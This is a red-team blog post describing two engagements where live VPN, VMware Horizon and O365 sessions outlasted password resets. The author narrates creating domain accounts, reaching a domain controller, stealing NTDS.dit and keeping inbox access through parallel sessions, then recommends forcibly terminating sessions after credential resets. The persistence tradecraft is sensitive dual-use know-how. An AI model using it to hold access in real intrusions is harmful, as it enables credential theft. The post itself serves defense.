Soon after receiving valid credentials from a privileged user in the IT Help Desk group, I logged into both the VPN and VMWare Horizon instances.  This user fortunately had privileges on the domain to create new domain users as well as had local administrator rights on the servers and workstations.  Shortly afterwards, I received a Windows notification saying it was necessary to re-enter my credentials!  I've seen this before, and I realized immediately that the user must have reported the incident and the IR playbook was leveraged to reset the credentials for said compromised user.

My first thought was that I was done for, I would have to go back to phishing and start from the drawling board with an already alert blue team.  However, I soon realized that for me to even read that Windows system notification, my VMWare Horizon account must still have an active session in my web browser.  Sure enough, both my Citrix VPN client and my Horizon session were still authenticated.  It was now going to be a race against time, knowing that by default Horizon sessions time out within sixty minutes.

My victim's AD credentials were cached as well and I could still perform certain actions within Active Directory Users and Computers (ADUC), such as create new users!  I would create a new account only to have it "disabled" shortly afterwards by the SOC.  To spare you the long story, I was able to eventually create a new user, add them to the Remote Desktop User's group, and Remote Desktop to the Domain Controller (DC) quickly just before that account was revoked as well.  At this point the SOC was confident they had contained the "attacker", but I was still active on VMWare Horizon, now sitting on the DC with Local Administrative rights over nested RDP connections like a bad inception dream.  From here I was able to steal the NTDS.dit file and get all of the passwords for the organization, which then allowed me to connect with whatever credentials I wanted.

Clearly, this is a problem.  Even though the SOC was quick to detect and respond to the creation of new accounts, and even though the phishing victim's passwords were forcibly changed, I still had enough persistence and time to carry out my escalated attack.

Scenario #2
  
Office 365 Email Access :

I've actually learned from more than one successful red team phishing campaign that sessions by default do not terminate when AD credentials are reset in O365.  Because of this, I'll often authenticate to multiple victim's inboxes in multiple browser sessions as soon as I receive credentials so I can remain logged in even after passwords are reset.  I even trained my penetration testing team so we do this for all phishing engagements now by default.  It is mistakenly believed that resetting user passwords will force the attacker to re-authenticate immediately.  In fact, I've even had IT Administrators taunting me with subsequent submissions to my false phishing portal that their password has been changed.  Something to the tune of, "Nanananana ICHANGEDMYPASSWORDSUCKER!".  To which I smile like Arnold..


"Come With Me if You Want to Live"

So what can we do to protect our systems?  Well it depends on the remote service, but proper session management is key here as a preventative measure.  It's important to make sure that sessions by default are not active longer than necessary and do require the user to re-authenticate after a certain period of time.  This isn't really anything new, but certainly worth bringing up again.  A few of the clients I had worked with extended sessions to the maximum allowed, which just meant without sessions being forcibly terminated I had until my laptop died to move laterally or judgement day arrived, whichever came first.

In these above two scenarios, I recommended to the respective customers that they simply make an addition to their already strong IR plan.  Clearly they were already following a playbook in near-real time to deactivate or reset passwords for compromised user accounts.  My advice is to go all Schwarzenegger and forcibly terminate the sessions as well, that way any lingering access is cut off immediately, without having to wait for the session to expire.

There's a wrong way and a right way to terminate sessions though!  You don't want to terminate the session first and then change credentials later.  This may allow an attacker to jump right back on before the passwords can be reset, landing you in the same situation as before.  However, if you force a password change and then terminate the active session, the attacker has no way to jump back on.  If this would have been done on the engagements I was on, I would have lost any access relatively quickly and it would have been much more difficult to establish persistence.  In these specific scenarios, I would have to start from the beginning all over again and likely meet the same fate each time.

Depending on the service that is being accessed, do some research to see what the quickest and most reliable means is for terminating sessions.  This may be a manual effort, such as having the self-reporting victims of phishing campaigns trained to "Sign Out", or having the Help Desk do it on the user's behalf.  As I think of it, it wouldn't hurt to add this to the employee security awareness training sessions.  This can be a scripted effort in the case of O365 by using PowerShell to force logout everyone on the domain in case multiple users are affected.  Either way, consider adding some sort of session termination action item to your CIRP on your external authentication services.  Otherwise, "I'll be back!" 😎

Thanks again!
Curtis Brazzell